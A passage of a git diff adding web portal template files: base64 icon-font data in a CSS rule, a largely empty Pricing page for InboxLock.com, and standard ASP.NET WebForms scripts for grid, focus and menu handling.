CL+vK5eYOgdNZC4C9UYYPSI6j3jMhKj+XuVMisMXa+fBh80cj9b94Ugsnr/+g/j/MqheJddVQ5jp8/lCdxEJxV65ES1pBs2fZDBnhUCkDQcJRWQbRT0FXbYko0aGwGJgQoE3EkEAkO11r+PvRQ/tJp/nTBGBtsvkHbTbfuXHcNstf6T4wG2DoElOXXmjOlOpzJheeuo/gefde/EKecbhVcSdzjAJX8DwrRN22WEHr3k//zvhl1d+i46ogH/asmVL6wt4GfNZE8zVl6gvku8QdijdgtCeNTrBOa5p4L742eaC6EFE8roIF0kGLdZNmk5yBvJnCHu9nNKEFxaXC3kUDPSKKhhUuKgaeW67grFgdImDl46kagh/vk7X6l657qjVVUm3mGuY59QKJaGIDmIFfBDUaAilm4RbAsEaToKjYCPnjJRTsbKmSmCArEakAEhEpJgzxty2tmcF5VvRs/b4ldwz4LZWNzj34TObwOz9wxt/85uNw/e35sHQ8uGvP9N6ZXj5ANj/DBzDV397NU9+m8oQReJjxBeJV4lvQi1NYFiuRS12TZ8paqUqL0IkcjeAqWFa1Rvw3ReVoeFMqqg5T8WwgwZ4KGqvwMKVzYJr58CO1L96Pfu/Oy3CiVFx1KWoXtuGwMgxuLVauaFtw+RXNTGWCEtql9Pt9mSm9kgsu3tFWnW7nbmax3fglpdGB/q6NI93xGb1dvTUpu7fsJ5lbL7lyze6WC5fPO4XOZ6SknEp7VZNZrrTIZGUYAaqGip0dVHA7hEyUYFnLXzAL9k5Jb5JtIVCHmgZcpzs9Lgk0W622XNuV6dJBmaGdk34RatVYLmXBJPDwcDfHWM5t4ejzTZJca8bioVsaSWSiAkfW7Iy2uXzt/5dt10GcZ8v6187fa8tnd3UOHoUfvYurdLriYZjZb//ph3n8h6XRZVklpI6JKeZVyVoOwfSKWgjR0ysnUqGi4Dhgk5nLt/JQ/M+ZOljWZp32pNxm63zD6xhX0fa5eB43pLXOmI2u90OLkSnl5yADuMfr3A7eeHKr1Wfakfdxz+0nF620i4KnC8w1cZR6qHeh/rTjpFj9i5m8ul21lilmwshH8rSt7UAqIcNflkP5pf1QGMtYPT+BkRU9qoLUMQhiyHgwYRUqoydNF8IrkkOp2gUEf6LtLyMTChoQS2Kkr4OKtzR19fx4U87+v64/rt6/Xczd1y4444Lu69v7iPLaHu99QDaccdi3y15MxUihogAAW1c3IWWMwhljCd9xChnM0Itxtg30kqDYAh1HKrYuw/SKmoOwz3wOARgJ+FzshbwHOOdEU04ZOdi1kCCZ2KWwkSv38H4BihgsSbFMsPmHXHRbrVEQjFZTYopamM8LK/dkZ2JK6ZuJpToN585Xo3bZCdN2hln0GM3S2Zbemmglqg6+llOc5fStWAyGE45nILFzsogJYuMc9Nirn+I3k1FiRFiA7xf9anCNV6wru6kbECoBTFKGnQTKig0BG0HijV80UGgumxUKs9g6DT4zWUW+ZaDjHEl0JcVlJHurVuClUJHIhhUPZKFs4kMf5OyuUKbSGDiFPILnLYmbBJZ+YBNNJXGVkYCxXBcifE06T72+BdG1q72dmr+noIWK7gzVpmhkt7p+3uKnh+DgYMrxkQGCDavJxnKR9y2cMrcBdyM00laSLnD3c22pqO3LrUzYcYOlMDYSLebYz3eQrDfRpK9N5VthUGy+Jd/mnQqtKpo/mFXSGC+OPiHMu+PLerzfrpC+Qk/1OclYpJYTmxCeId2pM9HNFDfXKiXLy/0GR2I3X1lHtq9XuLLcExsgYO1uwzNWqlWt0kNsTiFe5rl1/I9mYlZDLpDIDI5FBNAPJdwfJDOVB6Ni2RKhld3EORBYhAYgAc2koM2JuZLawNYIsMNHQaHVx6QiP7TgF7e2vvMc/2dCc6hhLvKZpOaSnRlCkrh6MlMVV776GF5zaNgr/NAf2/N4d4U6nZYXXno+t21eeM9h5NdVpa2dHUcQdnmitnsqsiJQn5LMpnPb1GA8N82VNPZofxdh7o69k8PA8HkDLq9ZlpQSGgf5B49gs/+RF/NId8yOBU250KebSMrWuu23HNq++G1gTWljnRlbWg1uR3KdJfPX3Fd+efNDiW1BT4k822Z0U/9nIoTvcQwsQRlaErX2JZRs2LDjovH+GYjhCyk/FgJkSbmmebCSAovjqB6nykMgu+VMalJCNpErqIe9kKHo9gIh5DnGFaEbD1s1Jx3eJv6NKr3RQzG5lo9JNWHavUw5oKakF5NpPJdAwigrN4h1ztRB1kepRWzfehOjkh6B7J5UrKeQCWgIalhjhp9ic4SLtXjKgpWmShxD+8Z0m5OTJ4B9R6i9ULN61wbdRBhccMbCtCkYRmk20qxuwbtnVst6xsjyUhBdSmUj7RbBMpMe0lLfM+W8a4GQzGD+8/+h4vnNnA2s0jzYPDhC/sG4uDMppKd++R57UjEFd6T8oEdDz5wcPtx2qXarcBrd3Qne+QlMvWZ0YMPl7hJsxVkplz9ras0Ay13YK2Eps+ePBWDstvIBfRTB+E9CUJPaJa4mdjc7mCKWaHxWWxMo+X1lmZjFm9kmw0rulNWdIN2p3xWeFd2c01MNVO4rLu9mEmG0NdPQ7HdMbl8K3Kqd8/Ci7+k3RKD8VqrOP4cpLGnnAfI80LN/jgofY2OlYN7oMWvGtGzctKwGaJVuMZgRGIonyrXAcoz1aVp2ZRyxaQMPx3x3ORRoku1zNX5275/+ptkZ2io4+hNLvWQ6PDJkWDY9bjbNbere2TrexZL/oTa7eEpc8fqZTHKtJKDkoW28HZedDDox8IIVkvIa5d89n+YvGfFhM/EOCwuW3T5BpfUaTd7plY8MPXmB0f+ODgUdPb1AnAYAMXbPR7QtoFqD9jwgcmUMZOKyFssQthP5ngFmBA4q8AJJorkrF4eGgUey7X58RN4LzRiH/FxgigPklX0PfHUN0RxtRJk4HobDIVOJRBGitQ+Dh2KUVxQoBF6zYidbvFQCsWdKePYRPvgj+zHgWk4QM0dNYsSSLKFv1AieeA4GqKXqdaA7OdVG00BU6bflP1KlvMrYVVu/Y4taT0JijZ39FmUYIrNXMwq8Qw9vsXcEZfFUCdgnAi8xJQdNHV9NcYlHTnr5Tw7M9RP02gb2BIsjHKpz6bokU6GAkK0zBfezLN+OeySfmOm71jH0Bm7U2EFJ+ncSfM+IGhQATEoQ01Dc4Y2WV0uxrHaQUmCFXp6lMvlRU2zTjs0sAQnpczBJw8ZTjOqSFG8F0GnM4JNdTHqGoly8RZ2j5MK+0Mcegnc+rwtScnTMul1CbRgVRTatdFFiYIFHGNILSPQhi4lrw7Tt8J7FCOmiQhxfTbU8wWUDkaJXkK35tsjXiYR0m0xjtCLSTVIoTohJOsR8hlr4BwXF1GM88BGc3mKY012hTZLJg99Fvx6OTeaGc/lTKLLTIP89OQ3vvful88Ef+xdNUQuCw96zaqoCi7STAJh38Qoac9XawNal9W3eXqp7IF22ytVOHg5K0kDmmeFYECLjIk//NXWDftcnfte2A2s/lOD5Iw/y1GkmVZIqKyFbWObg+mwPdFX7ubF9bOa2b5oQ6ykfkbVCIVYRTxtMJM2kujLJxF4GIu8+Rl+MWW74MT86CgIhPr3q4b2HK6i/n2PCP2lgj4s4vLLcYT6YvCToPRtNSrJrzF2kfUP4NrrYWgM6tl8DffoaIjvTESJMWByerJ5bXjcgBupd+MqwyquvXIh2DlcfAW1LI6+oUhcO0KXrOIQXQVBKyLa8EW2DA66J5WPehvwN738zS3vbfnaynR65dfgwpvLk2tWP5x2+LT45qLqd5jsqa6BOwZT0bDN4nMVq8HujmLH/WtWRcK9PXMrVq9atayvJ/pT9Lp0eu7r29/Z/hZcWPF1oK594sih/Ip+H2AFtfqJZeW+CcYSFkWvzUKCib7ysltrYdlOB3pX5I8cfnzt8pnenkg0Gq71zuC8ej+1E44/G5ElKsQgtFhOEpiaRHdD29uNi17dsoD69A3QrMFF4NUy11ww96YRcL7Z1FyYHEWLC5M46IpZpoYv6+OqwSs1jvKRhVrvwCCFzXCzG5PB6JOjUK739PVXr4N6witIoUhMilSQJsQZryIuyDE4izCJonKd8HLRZmfbz635hStTwnutv3yPnz5oZ9nCpzWN980tWRc0i8DFm7/8sy+blMQLx46/8MLPnn9s5bGVK49Z0r3pdC/5dP+aNf2W1pr8unV58AdX/oKWmESGpDDJPCOR5Ml098hI93by0+5Y1O2JRVvfQi9eebino6OnA+s+okJfJTPEDPEIcYF4HRwlDFC8tSiH9ZSm7zQ36/Uijlkt+IwqrZ1r0QXeuVlo870+UGhoS5/XEMajpVn/UnEhh6E1FibwZdWzY8UiiviHUBHt1wp16rK+BA78JSKiplsoGFWlBSN2fdDoljso6jvg2ga81tixAZk0O7YKqAu3fgrVYR1zN+vHCvop+LRB1F9BqM6upv4GKn6oSfLrVo8plApkEblvfVZqyIkYMmYOynBORuJnDGzl+f37DmH21FNwMq3deeuJk/fce99ZnCvbIckLt9/5sccuoN2vSAtP/cEXnn8Zj4HcITgXZw/WanoKNT+YRkZvPf/cZ1986ctfQYeGpGHJaukYGNy3/+Zjt5/69DOfWXj1NbTDJ+tbX4Ev2vkANK2ox55Gn0aWdOcGHFDXkm0+SEQ10IZswhHgGMu1t8YMAwo32mEy1phmRA6gccDFjKPQIQkE+UQZxbSoQBNjMUP1piHGSFRw2wZV1WK4qtM4LzwXg0+HXmm82+I/3FvVWGioYXZXLBLgVje3ORMu5aZWOSLRudlA1dud9LGU3Sorw5SiiFOqT2RKxXihPzoSUhQHxTtWCVEecC5L31xlxEGSIVmJlibyxaWZeIlzSSGfYBLFsN+T5DI9yZI1kaBr6XS6PDYeliQ3mM7I3YqvMJa70xWP273JZCIej+enpwJ7KdavOkipx+mwytFEwrPd5hj5r0Pd0dK5weHxvL8UttKuOJUUhD6my2NS3dG82OFOIn2jTMs2Mq3lUnPJY5lcb9WXyiUHIqzKWf19Lv+aWKDbT0YS0ZjZXrw11NERCHjTy+8uVGre48VJrW823NFxKJaMf151i96tY4t2y/tQJpmJFDFG3GPU+SzYcPOdnikXiw0bRhC2dQnt6p4A6h0bL9Sdl/W0s4k776RmXSrUPRpaycEJoBnTQTN6zzlPExv0mhMlDeg+gw/JhsYhKuzJaX0DwyP/qo2u6ugDCDM0CyTNeI4GANwmxaJOBu0rS6iAV2ovwnuM8ESizhsKeJZ6635/IOD3173eUMgLnO4+1/KMa8B5eKzK0Y6s+0s31OgUvN4uL3gPPsC/VslbcrsB2Ke13oXPs3cNx10ewuDz6adEeL04eMXsUKOqCDEJJNuxSAo6QBTu/6AYOO1BEQMu6jzfhvryX6srcaLqHDvBoPZbBnf7K9q8RAT47HwIPbZjLguUkT+nRNTSoouoDQf+Y5h3xDmPAvCcoYNRtXYEx5nrSS/QrZb89wndYs1/H+h2G1q22fPfX9wriWiLKKG9ioyWZeX63lAQbQmG8JY3L/30N7eh6DSDGggC0d9T9QAOLdMUVPi84HCquAeozkm6y4furYQIy10q9rt0rw9RyaLQKYoBqVRE0qRExBkZAgyXqDIcgP9UVeEU+D9Dgd8sv/IBONu6E/DgY3zrcRWcdrfe6wSrcl+e+NmkumZkzXfBF0FLB3Otm/5q9dNrk2t/surgKlCafm8aPFtsfasI3rK1Ttmu4TtTn4L3ykKU28iXKBNW5zScAwN1a6FuvqyboN5E19RkhnqShh+fMBZQYguHKBUNDjrpi9/rLncNfPt86+hDVLz1k2Xb124BySuXWhvAl/B7ETT9VXILsY44QeBMaR3qlWkr6iHH0wa1D/XDVV+xnRnVx6ESGBdRx62edRtpznHUHbQKtZa+SkcT2uwKdFmziIuB0KdXIBG+GoPqLfCBbHUZ2knLjWAqbaThDBGJ0LE+QgJVwgQMKS2WTOFOBu0jTJ+oVuia0bRYSlQNASytUcXMlx48e8QZ2ZGyLp3uS0QYaPe4QbI2N7EWAJau3jZzehMAqxlxaGBjJPD4LSo+cplLDngDHJUgU73Lx9cItdumHlw7ZGdAJHr0S7c6MveUrEvTkRIjuBQ4LdNLj/BMv7YGrD4TjGwcHpSYQ2rnaXgIy3vDKZutlibTyw5bBkqrwdAmz/8zubP//zn+xedAXFTgn9qfo3Ttc1T+V5+D42Szmw3kGdsqx5MhXmUtJtrUmeg1MUFfLOB30IJdJF0z8v/lp8Cfgfo74zPI/6drAaz2mNpl6d1s8V3oAIFBKW/2OEyOdcuOO0395cn+appTgmE690zs//ZiAJywKlElpGG7pYiElj98738CUBwFnQAAeNpjYGRgYADilbsVfsTz23xlkGd+ARRhOPOw/zKM/n/wvx5rMfMRIJeDgQkkCgCqyw98AHjaY2BkYGA+8l+KgYG1/v/B/99YixmAIiigHwCjBAcjeNpNkj0oxVEUwM+7H5TCGxksb7QppIiISRZsTB4ipWxYJLIrikFZZcAgUoqSzStsRilShpfPPDl+//u/g1e/d77vOefev3xL+GX6+EO3T+J9FbIIBTiFTWgRMa0irj/kiNuO+i5UiPV12M9asmUhXu0msVepuZSs3cO3LPWh7gK9C5lXTezgOyRPxVgnzg7je0j9gR7inG1W0KeZ81F/3Q2+dshqyXcjT/XTDiJryRkTG+rusJP5h7To5tGv0Ze04PPIcXiEjuQMMckeri2dx/Wq+hw9BvTXvuubXyCvIVMT9hxJZzI/qfSNqu5EykNda5x3Dv0AFsmbwF6D1xh7xvciziTzX+u5HWDnUXwbxI7gijNz6TuYLWL05C0qk7u0O+LNsX6E/sndsoNrjntMwS32DDVP6ZzuK/bMwjr2Pnd3j37xT3bSi3eW7cgsnEFTfNdIJs4fYsl30ZjO/Af0yHMSAAB42mNggAHGJUwNTJuYS5i/sfxi7WL9xObG9oD9AkcDxxEuG65T3Kt4CnhT+ObwmwlYCYoIRgjeEOYTdhPhEqkTtRLnES+QKJP4I9kilSWtImMkUyDrJOck1yO/R4FJoUjxlNIx5RSVJ6pGqpPUotR2aazQ1NE8o/lLa5X2FZ0G3Tm69/SW6N3Rn2JwwvCEEZNRkEmYyTzTU2Y8ZsfMfpnfsDhhaWaZZvnBapu1kfUKm2+2MfYK9s8ctjhGOek5nXGJcHniesTNDA5nuN1xD/Iw8tjiec3LxmuNt5X3B59dvg1+QX7n/CcFWATeCSoJ9gpuCDHDAatC9oUyhbqEdoDhlNApAFDhX5J42mNgZGBg6Gf4xyDCAAJMDIxALMYAogxBAgAsNAHyAHjafVJLSsRAFKxkxs+guJzVIH0Bh8QfoitxNm4kOKDgLt9JUBOZRMGNB/AErj2NehAP4AmsfumYOIg06a68qvftBrCGZ/Rg9QcAnvjV2MI6/2psY+NH08M2XgzuY4QPg5dwhk+DlzGydg1ewavlGTzA0Poy+A1De9Xgdzj2Jk5Q4A6PmCPDDCkqKOZy4HJXOEZEPkBMPKWqJB/jlqfCKXKEZOf017svXISx+N1wqU7UUv5injHPB6O8omdIjU/1OW0z3BP5VLhkHVlHpr6SqKvfWvDocmqBu5CsJdmCVatf0T12pgQ3VpfWlMpK+stZbeMxxh72/63C4xkTlTIz3XEiuRWjFbKnwvw1d+0TEjVVJjLX1icReyUWPe9I7kJnvaZNz7+SeAGraaPk0knGyHr6Y3br06uuQN9SRkWJS7JBJ0Pd75SRdIyJVKbkbWjuAIdk632nfTHfaRxvmXjabc7HUkJhDIbhNxRBUBGVYu+9nXMQwS4KVuy9IjMiYBfFO3Dtveh4fYryL/1mMs8kiySY+Mv3Fwb/5b1QggkzFqyUYMNOKQ6clFFOBS4qcVNFNTV48OLDTy111NNAI00000IrbbTTQSdddNNDL330M8AgQwyjoRduBxghyCghwowxzgSTTDHNDLNEmGOeKDEWWGSJZVZYJc4a62ywyRbb7LDLHvsccMgRx5xwyhnnJLggKSYxi0WsvEkJl6S4Ik2Ga7LccMct9zzwxCM5nsnzwqvYxC6l4hCnlEm5VIhLKsUtVVItNXzwKR7xik/85mgsbsvfZzUtrCn1ohHVR6K/GpqmKXWloQwoR5RB5agypAwrx5SRorraq+uOq2w6n0tdJp8zxZGxUDT4Z6zwgiVhBEM/9lZQu3jaRc7LDsFQFIVhR/WmpbdTbSUEE4PzGtpITMSoTTyHsYkhz7Jr5O1YkW2brW+N/pd630jdBwfyjm2v1KPrG8e0a4q7A+kTxrVbkGPO7YCsVU2W2dFoVT+tYGi+sIHRDw5g7xku4CwZHuBWDB/wCsYY8HNGAIw1IwSCjDEBwpAxBSYMRRF3xXgjf2h6q7mACRj/mYLJVpiB6UaowawQ5qDWwhmYZ8ICnEXCEixCYQWWgXAOVsKOtPkAmoBkpAAAAAABULvfUwAA) format('woff'), + url('zocial-regular-webfont.ttf') format('truetype'), + url('zocial-regular-webfont.svg') format('svg'); + font-weight: normal; + font-style: normal; +} \ No newline at end of file diff --git a/templates/www/portal/Pricing.html b/templates/www/portal/Pricing.html new file mode 100644 index 0000000..fab198b --- /dev/null +++ b/templates/www/portal/Pricing.html @@ -0,0 +1,197 @@ + + + + + + + + + + Pricing for our differenct accounts + + + + + + +
    + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - InboxLock.com

    +
    +
    + + + + + + + +
    + + Skip Navigation LinksLogin : Pricing + + diff --git a/templates/www/portal/Scripts/WebForms/DetailsView.js b/templates/www/portal/Scripts/WebForms/DetailsView.js new file mode 100644 index 0000000..8dd85fc --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/DetailsView.js @@ -0,0 +1,34 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/DetailsView.js +function DetailsView() { + this.pageIndex = null; + this.dataKeys = null; + this.createPropertyString = DetailsView_createPropertyString; + this.setStateField = DetailsView_setStateValue; + this.getHiddenFieldContents = DetailsView_getHiddenFieldContents; + this.stateField = null; + this.panelElement = null; + this.callback = null; +} +function DetailsView_createPropertyString() { + return createPropertyStringFromValues_DetailsView(this.pageIndex, this.dataKeys); +} +function DetailsView_setStateValue() { + this.stateField.value = this.createPropertyString(); +} +function DetailsView_OnCallback (result, context) { + var value = new String(result); + var valsArray = value.split("|"); + var innerHtml = valsArray[2]; + for (var i = 3; i < valsArray.length; i++) { + innerHtml += "|" + valsArray[i]; + } + context.panelElement.innerHTML = innerHtml; + context.stateField.value = createPropertyStringFromValues_DetailsView(valsArray[0], valsArray[1]); +} +function DetailsView_getHiddenFieldContents(arg) { + return arg + "|" + this.stateField.value; +} +function createPropertyStringFromValues_DetailsView(pageIndex, dataKeys) { + var value = new Array(pageIndex, dataKeys); + return value.join("|"); +} diff --git a/templates/www/portal/Scripts/WebForms/Focus.js b/templates/www/portal/Scripts/WebForms/Focus.js new file mode 100644 index 0000000..69bb00c --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/Focus.js @@ -0,0 +1,93 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/WebForms.js +function WebForm_FindFirstFocusableChild(control) { + if (!control || !(control.tagName)) { + return null; + } + var tagName = control.tagName.toLowerCase(); + if (tagName == "undefined") { + return null; + } + var children = control.childNodes; + if (children) { + for (var i = 0; i < children.length; i++) { + try { + if (WebForm_CanFocus(children[i])) { + return children[i]; + } + else { + var focused = WebForm_FindFirstFocusableChild(children[i]); + if (WebForm_CanFocus(focused)) { + return focused; + } + } + } catch (e) { + } + } + } + return null; +} +function WebForm_AutoFocus(focusId) { + var targetControl; + if (__nonMSDOMBrowser) { + targetControl = document.getElementById(focusId); + } + else { + targetControl = document.all[focusId]; + } + var focused = targetControl; + if (targetControl && (!WebForm_CanFocus(targetControl)) ) { + focused = WebForm_FindFirstFocusableChild(targetControl); + } + if (focused) { + try { + focused.focus(); + if (__nonMSDOMBrowser) { + focused.scrollIntoView(false); + } + if (window.__smartNav) { + window.__smartNav.ae = focused.id; + } + } + catch (e) { + } + } +} +function WebForm_CanFocus(element) { + if (!element || !(element.tagName)) return false; + var tagName = element.tagName.toLowerCase(); + return (!(element.disabled) && + (!(element.type) || element.type.toLowerCase() != "hidden") && + WebForm_IsFocusableTag(tagName) && + WebForm_IsInVisibleContainer(element) + ); +} +function WebForm_IsFocusableTag(tagName) { + return (tagName == "input" || + tagName == "textarea" || + tagName == "select" || + tagName == "button" || + tagName == "a"); +} +function WebForm_IsInVisibleContainer(ctrl) { + var current = ctrl; + while((typeof(current) != "undefined") && (current != null)) { + if (current.disabled || + ( typeof(current.style) != "undefined" && + ( ( typeof(current.style.display) != "undefined" && + current.style.display == "none") || + ( typeof(current.style.visibility) != "undefined" && + current.style.visibility == "hidden") ) ) ) { + return false; + } + if (typeof(current.parentNode) != "undefined" && + current.parentNode != null && + current.parentNode != current && + current.parentNode.tagName.toLowerCase() != "body") { + current = current.parentNode; + } + else { + return true; + } + } + return true; +} diff --git a/templates/www/portal/Scripts/WebForms/GridView.js b/templates/www/portal/Scripts/WebForms/GridView.js new file mode 100644 index 0000000..077c7df --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/GridView.js @@ -0,0 +1,36 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/GridView.js +function GridView() { + this.pageIndex = null; + this.sortExpression = null; + this.sortDirection = null; + this.dataKeys = null; + this.createPropertyString = GridView_createPropertyString; + this.setStateField = GridView_setStateValue; + this.getHiddenFieldContents = GridView_getHiddenFieldContents; + this.stateField = null; + this.panelElement = null; + this.callback = null; +} +function GridView_createPropertyString() { + return createPropertyStringFromValues_GridView(this.pageIndex, this.sortDirection, this.sortExpression, this.dataKeys); +} +function GridView_setStateValue() { + this.stateField.value = this.createPropertyString(); +} +function GridView_OnCallback (result, context) { + var value = new String(result); + var valsArray = value.split("|"); + var innerHtml = valsArray[4]; + for (var i = 5; i < valsArray.length; i++) { + innerHtml += "|" + valsArray[i]; + } + context.panelElement.innerHTML = innerHtml; + context.stateField.value = createPropertyStringFromValues_GridView(valsArray[0], valsArray[1], valsArray[2], valsArray[3]); +} +function GridView_getHiddenFieldContents(arg) { + return arg + "|" + this.stateField.value; +} +function createPropertyStringFromValues_GridView(pageIndex, sortDirection, sortExpression, dataKeys) { + var value = new Array(pageIndex, sortDirection, sortExpression, dataKeys); + return value.join("|"); +} diff --git a/templates/www/portal/Scripts/WebForms/MenuStandards.js b/templates/www/portal/Scripts/WebForms/MenuStandards.js new file mode 100644 index 0000000..ffe8324 --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/MenuStandards.js @@ -0,0 +1,697 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/MenuStandards.js +if (!window.Sys) { window.Sys = {}; } +if (!Sys.WebForms) { Sys.WebForms = {}; } +Sys.WebForms.Menu = function(options) { + this.items = []; + this.depth = options.depth || 1; + this.parentMenuItem = options.parentMenuItem; + this.element = Sys.WebForms.Menu._domHelper.getElement(options.element); + if (this.element.tagName === 'DIV') { + var containerElement = this.element; + this.element = Sys.WebForms.Menu._domHelper.firstChild(containerElement); + this.element.tabIndex = options.tabIndex || 0; + options.element = containerElement; + options.menu = this; + this.container = new Sys.WebForms._MenuContainer(options); + Sys.WebForms.Menu._domHelper.setFloat(this.element, this.container.rightToLeft ? "right" : "left"); + } + else { + this.container = options.container; + this.keyMap = options.keyMap; + } + Sys.WebForms.Menu._elementObjectMapper.map(this.element, this); + if (this.parentMenuItem && this.parentMenuItem.parentMenu) { + this.parentMenu = this.parentMenuItem.parentMenu; + this.rootMenu = this.parentMenu.rootMenu; + if (!this.element.id) { + this.element.id = (this.container.element.id || 'menu') + ':submenu:' + Sys.WebForms.Menu._elementObjectMapper._computedId; + } + if (this.depth > this.container.staticDisplayLevels) { + this.displayMode = "dynamic"; + this.element.style.display = "none"; + this.element.style.position = "absolute"; + if (this.rootMenu && this.container.orientation === 'horizontal' && this.parentMenu.isStatic()) { + this.element.style.top = "100%"; + if (this.container.rightToLeft) { + this.element.style.right = "0px"; + } + else { + this.element.style.left = "0px"; + } + } + else { + this.element.style.top = "0px"; + if (this.container.rightToLeft) { + this.element.style.right = "100%"; + } + else { + this.element.style.left = "100%"; + } + } + if (this.container.rightToLeft) { + this.keyMap = Sys.WebForms.Menu._keyboardMapping.verticalRtl; + } + else { + this.keyMap = Sys.WebForms.Menu._keyboardMapping.vertical; + } + } + else { + this.displayMode = "static"; + this.element.style.display = "block"; + if (this.container.orientation === 'horizontal') { + Sys.WebForms.Menu._domHelper.setFloat(this.element, this.container.rightToLeft ? "right" : "left"); + } + } + } + Sys.WebForms.Menu._domHelper.appendCssClass(this.element, this.displayMode); + var children = this.element.childNodes; + var count = children.length; + for (var i = 0; i < count; i++) { + var node = children[i]; + if (node.nodeType !== 1) { + continue; + } + var topLevelMenuItem = null; + if (this.parentMenuItem) { + topLevelMenuItem = this.parentMenuItem.topLevelMenuItem; + } + var menuItem = new Sys.WebForms.MenuItem(this, node, topLevelMenuItem); + var previousMenuItem = this.items[this.items.length - 1]; + if (previousMenuItem) { + menuItem.previousSibling = previousMenuItem; + previousMenuItem.nextSibling = menuItem; + } + this.items[this.items.length] = menuItem; + } +}; +Sys.WebForms.Menu.prototype = { + blur: function() { if (this.container) this.container.blur(); }, + collapse: function() { + this.each(function(menuItem) { + menuItem.hover(false); + menuItem.blur(); + var childMenu = menuItem.childMenu; + if (childMenu) { + childMenu.collapse(); + } + }); + this.hide(); + }, + doDispose: function() { this.each(function(item) { item.doDispose(); }); }, + each: function(fn) { + var count = this.items.length; + for (var i = 0; i < count; i++) { + fn(this.items[i]); + } + }, + firstChild: function() { return this.items[0]; }, + focus: function() { if (this.container) this.container.focus(); }, + get_displayed: function() { return this.element.style.display !== 'none'; }, + get_focused: function() { + if (this.container) { + return this.container.focused; + } + return false; + }, + handleKeyPress: function(keyCode) { + if (this.keyMap.contains(keyCode)) { + if (this.container.focusedMenuItem) { + this.container.focusedMenuItem.navigate(keyCode); + return; + } + var firstChild = this.firstChild(); + if (firstChild) { + this.container.navigateTo(firstChild); + } + } + }, + hide: function() { + if (!this.get_displayed()) { + return; + } + this.each(function(item) { + if (item.childMenu) { + item.childMenu.hide(); + } + }); + if (!this.isRoot()) { + if (this.get_focused()) { + this.container.navigateTo(this.parentMenuItem); + } + this.element.style.display = 'none'; + } + }, + isRoot: function() { return this.rootMenu === this; }, + isStatic: function() { return this.displayMode === 'static'; }, + lastChild: function() { return this.items[this.items.length - 1]; }, + show: function() { this.element.style.display = 'block'; } +}; +if (Sys.WebForms.Menu.registerClass) { + Sys.WebForms.Menu.registerClass('Sys.WebForms.Menu'); +} +Sys.WebForms.MenuItem = function(parentMenu, listElement, topLevelMenuItem) { + this.keyMap = parentMenu.keyMap; + this.parentMenu = parentMenu; + this.container = parentMenu.container; + this.element = listElement; + this.topLevelMenuItem = topLevelMenuItem || this; + this._anchor = Sys.WebForms.Menu._domHelper.firstChild(listElement); + while (this._anchor && this._anchor.tagName !== 'A') { + this._anchor = Sys.WebForms.Menu._domHelper.nextSibling(this._anchor); + } + if (this._anchor) { + this._anchor.tabIndex = -1; + var subMenu = this._anchor; + while (subMenu && subMenu.tagName !== 'UL') { + subMenu = Sys.WebForms.Menu._domHelper.nextSibling(subMenu); + } + if (subMenu) { + this.childMenu = new Sys.WebForms.Menu({ element: subMenu, parentMenuItem: this, depth: parentMenu.depth + 1, container: this.container, keyMap: this.keyMap }); + if (!this.childMenu.isStatic()) { + Sys.WebForms.Menu._domHelper.appendCssClass(this.element, 'has-popup'); + Sys.WebForms.Menu._domHelper.appendAttributeValue(this.element, 'aria-haspopup', this.childMenu.element.id); + } + } + } + Sys.WebForms.Menu._elementObjectMapper.map(listElement, this); + Sys.WebForms.Menu._domHelper.appendAttributeValue(listElement, 'role', 'menuitem'); + Sys.WebForms.Menu._domHelper.appendCssClass(listElement, parentMenu.displayMode); + if (this._anchor) { + Sys.WebForms.Menu._domHelper.appendCssClass(this._anchor, parentMenu.displayMode); + } + this.element.style.position = "relative"; + if (this.parentMenu.depth == 1 && this.container.orientation == 'horizontal') { + Sys.WebForms.Menu._domHelper.setFloat(this.element, this.container.rightToLeft ? "right" : "left"); + } + if (!this.container.disabled) { + Sys.WebForms.Menu._domHelper.addEvent(this.element, 'mouseover', Sys.WebForms.MenuItem._onmouseover); + Sys.WebForms.Menu._domHelper.addEvent(this.element, 'mouseout', Sys.WebForms.MenuItem._onmouseout); + } +}; +Sys.WebForms.MenuItem.prototype = { + applyUp: function(fn, condition) { + condition = condition || function(menuItem) { return menuItem; }; + var menuItem = this; + var lastMenuItem = null; + while (condition(menuItem)) { + fn(menuItem); + lastMenuItem = menuItem; + menuItem = menuItem.parentMenu.parentMenuItem; + } + return lastMenuItem; + }, + blur: function() { this.setTabIndex(-1); }, + doDispose: function() { + Sys.WebForms.Menu._domHelper.removeEvent(this.element, 'mouseover', Sys.WebForms.MenuItem._onmouseover); + Sys.WebForms.Menu._domHelper.removeEvent(this.element, 'mouseout', Sys.WebForms.MenuItem._onmouseout); + if (this.childMenu) { + this.childMenu.doDispose(); + } + }, + focus: function() { + if (!this.parentMenu.get_displayed()) { + this.parentMenu.show(); + } + this.setTabIndex(0); + this.container.focused = true; + this._anchor.focus(); + }, + get_highlighted: function() { return /(^|\s)highlighted(\s|$)/.test(this._anchor.className); }, + getTabIndex: function() { return this._anchor.tabIndex; }, + highlight: function(highlighting) { + if (highlighting) { + this.applyUp(function(menuItem) { + menuItem.parentMenu.parentMenuItem.highlight(true); + }, + function(menuItem) { + return !menuItem.parentMenu.isStatic() && menuItem.parentMenu.parentMenuItem; + } + ); + Sys.WebForms.Menu._domHelper.appendCssClass(this._anchor, 'highlighted'); + } + else { + Sys.WebForms.Menu._domHelper.removeCssClass(this._anchor, 'highlighted'); + this.setTabIndex(-1); + } + }, + hover: function(hovering) { + if (hovering) { + var currentHoveredItem = this.container.hoveredMenuItem; + if (currentHoveredItem) { + currentHoveredItem.hover(false); + } + var currentFocusedItem = this.container.focusedMenuItem; + if (currentFocusedItem && currentFocusedItem !== this) { + currentFocusedItem.hover(false); + } + this.applyUp(function(menuItem) { + if (menuItem.childMenu && !menuItem.childMenu.get_displayed()) { + menuItem.childMenu.show(); + } + }); + this.container.hoveredMenuItem = this; + this.highlight(true); + } + else { + var menuItem = this; + while (menuItem) { + menuItem.highlight(false); + if (menuItem.childMenu) { + if (!menuItem.childMenu.isStatic()) { 